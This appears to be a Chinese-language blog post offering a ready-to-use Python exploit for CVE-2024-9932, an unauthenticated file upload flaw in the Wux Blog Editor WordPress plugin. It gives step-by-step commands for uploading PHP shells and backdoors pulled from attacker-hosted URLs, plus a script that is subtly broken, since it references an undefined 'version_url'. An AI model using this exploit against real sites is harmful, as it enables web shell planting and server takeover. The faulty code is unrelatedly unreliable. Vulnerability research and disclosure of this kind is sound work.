Wux Blog Editor 漏洞利用工具 (CVE-2024-9932)

Wux Blog Editor 任意文件上传漏洞利用工具 (CVE-2024-9932)

本项目提供了一个针对 WordPress 插件 Wux Blog Editor 的安全概念验证(PoC)脚本。该插件在版本 3.0.0 及之前存在严重漏洞,允许未经身份验证的攻击者绕过文件类型验证,上传任意文件至服务器,从而导致潜在的远程代码执行(RCE)。

功能特性

  • 任意文件上传 :利用 wuxbt_insertImageNew 函数中不充分的文件类型验证,上传任意远程文件。
  • 远程代码执行:支持上传包含恶意代码(如 PHP Shell)的文件,实现远程命令执行。
  • 自定义文件名:可指定上传后的文件名,便于访问和利用。
  • 教育用途:帮助安全研究人员理解漏洞原理,测试自身环境安全性。

安装指南

系统要求

  • Python 3.6 或更高版本
  • requests

安装步骤

  1. 克隆项目
bash 复制代码
git clone https://github.com/your-repo/CVE-2024-9932-POC.git
cd CVE-2024-9932-POC
  1. 安装依赖
bash 复制代码
pip install requests
  1. 验证安装
bash 复制代码
python CVE-2024-9932.py -h

如果显示帮助信息,说明安装成功。

使用说明

基本语法

bash 复制代码
python CVE-2024-9932.py -u <目标URL> -ur <远程文件URL> [-n <目标文件名>]

参数说明

参数 简写 必填 描述
--url -u WordPress 目标站点的基础 URL(例如 http://example.com/wordpress
--remote-url -ur 包含恶意内容的远程文件 URL(例如 http://attacker.com/shell.txt
--name -n 上传后保存的文件名(例如 shell.php),默认为 shell.php

使用示例

示例1:上传默认名称的 PHP Shell

bash 复制代码
python CVE-2024-9932.py -u http://192.168.100.74/wordpress -ur http://192.168.100.54/shell.txt

示例2:自定义上传文件名

bash 复制代码
python CVE-2024-9932.py -u http://victim-site.com/wordpress -ur http://malicious.com/payload.txt -n backdoor.php

典型攻击场景

  1. 信息收集 :使用 -u 参数识别目标 WordPress 站点的插件版本。
  2. 准备载荷 :在公网或本地服务器上托管包含 PHP 恶意代码的文本文件(如 shell.txt)。
  3. 发起攻击 :执行上述命令将载荷上传至目标服务器的 wp-content/uploads/年/月/ 目录。
  4. 获得权限 :访问返回的文件 URL(例如 http://victim.com/wordpress/wp-content/uploads/2025/01/shell.php)即可执行命令。

成功输出示例

ruby 复制代码
[+] File found: http://192.168.100.74/wordpress/wp-content/uploads/2025/01/shell.php

核心代码

漏洞利用主脚本 (CVE-2024-9932.py)

python 复制代码
import argparse
import requests
import sys

# exploit by Nxploit | Khaled_alenazi

def banner():
    print("""
                                                                                                                                      
 @@@@@@@  @@@  @@@  @@@@@@@@              @@@@@@    @@@@@@@@    @@@@@@        @@@               @@@@@@    @@@@@@   @@@@@@    @@@@@@   
@@@@@@@@  @@@  @@@  @@@@@@@@             @@@@@@@@  @@@@@@@@@@  @@@@@@@@      @@@@              @@@@@@@@  @@@@@@@@  @@@@@@@  @@@@@@@@  
!@@       @@!  @@@  @@!                       @@@  @@!   @@@@       @@@     @@!@!              @@!  @@@  @@!  @@@      @@@       @@@  
!@!       !@!  @!@  !@!                      @!@   !@!  @!@!@      @!@     !@!!@!              !@!  @!@  !@!  @!@      @!@      @!@   
!@!       @!@  !@!  @!!!:!    @!@!@!@!@     !!@    @!@ @! !@!     !!@     @!! @!!   @!@!@!@!@  !!@!!@!!  !!@!!@!!  @!@!!@      !!@    
!!!       !@!  !!!  !!!!!:    !!!@!@!!!    !!:     !@!!!  !!!    !!:     !!!  !@!   !!!@!@!!!    !!@!!!    !!@!!!  !!@!@!     !!:     
:!!       :!:  !!:  !!:                   !:!      !!:!   !!!   !:!      :!!:!:!!:                  !!!       !!!      !!:   !:!      
:!:        ::!!:!   :!:                  :!:       :!:    !:!  :!:       !:::!!:::                  !:!       !:!      :!:  :!:       
 ::: :::    ::::     :: ::::             :: :::::  ::::::: ::  :: :::::       :::              ::::: ::  ::::: ::  :: ::::  :: :::::  
 :: :: :     :      : :: ::              :: : :::   : : :  :   :: : :::       :::               : :  :    : :  :    : : :   :: : :::  
                                                                                                                                      
    """)

def check_version(base_url):
    """

    """

    try:
        response = requests.get(version_url)
        if response.status_code == 200:
            for line in response.text.splitlines():
                if line.startswith("Stable tag:"):
                    version = line.split(":")[1].strip()
                    print(f"[+] Detected Wux Blog Editor version: {version}")
                    return version
        print("[-] Could not determine plugin version. Target may be not vulnerable.")
        return None
    except Exception as e:
        print(f"[-] Version check failed: {e}")
        return None

def exploit(target_url, remote_file_url, file_name):
    """
    执行漏洞利用:上传远程文件至目标服务器
    """
    upload_endpoint = f"{target_url}/wp-admin/admin-ajax.php"
    
    # 构造恶意请求数据
    files = {
        'action': (None, 'wuxbt_insertImageNew'),
        'file': (file_name, requests.get(remote_file_url).content, 'image/jpeg')
    }
    
    try:
        # 发送上传请求
        response = requests.post(upload_endpoint, files=files)
        
        if response.status_code == 200:
            # 尝试解析返回结果中的文件路径
            if "wp-content/uploads" in response.text:
                import re
                match = re.search(r'(wp-content/uploads/[^\s"\']+\.php)', response.text)
                if match:
                    full_url = f"{target_url}/{match.group(1)}"
                    print(f"[+] File found: {full_url}")
                else:
                    print("[+] File uploaded successfully, but URL could not be extracted automatically.")
            else:
                print("[-] Upload may have failed. Response does not indicate success.")
        else:
            print(f"[-] Upload failed with HTTP status {response.status_code}")
    except Exception as e:
        print(f"[-] Exploit failed: {e}")

def main():
    banner()
    parser = argparse.ArgumentParser(description="Wux Blog Editor - Arbitrary File Upload")
    parser.add_argument("-u", "--url", required=True, help="Base URL of the WordPress server, e.g., http://192.168.100.74/wordpress")
    parser.add_argument("-ur", "--remote-url", required=True, help="Remote file URL, e.g., http://192.168.100.54/shell.txt")
    parser.add_argument("-n", "--name", default="shell.php", help="Desired file name, e.g., Nxploit.php")
    
    args = parser.parse_args()
    
    # 检测漏洞版本
    version = check_version(args.url)
    if version and version <= "3.0.0":
        print("[+] Target appears vulnerable. Proceeding with exploit...")
        exploit(args.url, args.remote_url, args.name)
    else:
        print("[-] Target does not seem vulnerable or version check failed.")
        sys.exit(1)

if __name__ == "__main__":
    main()

漏洞原理说明

该漏洞源于插件 wuxbt_insertImageNew 函数对上传文件的 MIME 类型检查不足。攻击者可以:

  1. 将恶意 PHP 代码包装在合法的图片 MIME 类型(如 image/jpeg)中。
  2. 通过 admin-ajax.php 端点触发文件上传功能。
  3. 服务器仅检查 MIME 类型而不验证文件实际内容,从而允许 PHP 文件被保存。
  4. 上传的文件被存储在 /wp-content/uploads/年/月/ 目录下,攻击者可通过 HTTP 直接访问并执行。

⚠️ 免责声明

本工具仅用于教育目的和安全研究。未经系统所有者明确授权,使用此脚本攻击任何系统均属违法行为。使用者需自行承担一切法律责任。 6HFtX5dABrKlqXeO5PUv/0HpB3zaXn9qcg2yxz1ZaSTrrxpPzmud40S4aNH3LVvG

相关推荐
HIT_Weston1 小时前
107、【Agent】【OpenCode】todowrite 工具提示词(示例)(一)
人工智能·agent·opencode
团象科技1 小时前
走访近百支出海技术团队后的海外云计算资源选型实操观察
大数据·人工智能·算法
yyuuuzz1 小时前
谷歌云基础服务的入门认知
linux·运维·服务器·数据库·人工智能·github
小锋java12341 小时前
【技术专题】LangChain4j 开发Java Agent智能体 - 嵌入模型与向量数据库
java·人工智能
苏三的开发日记1 小时前
AI Coding工程化实践:用SSD定义需求,用TDD验证代码
人工智能
网络研究院1 小时前
随着广告技术公司在基础设施建设方面的投入不断增加,ChatGPT广告也开始进入英国市场
人工智能·chatgpt·ads·数据·广告
一次旅行1 小时前
AI领域每日资讯
人工智能
甲维斯1 小时前
我的Claude Code辅助神器!JCode更新一波
人工智能
葫芦和十三1 小时前
范式之变|Agent 设计,换语言了
人工智能·设计模式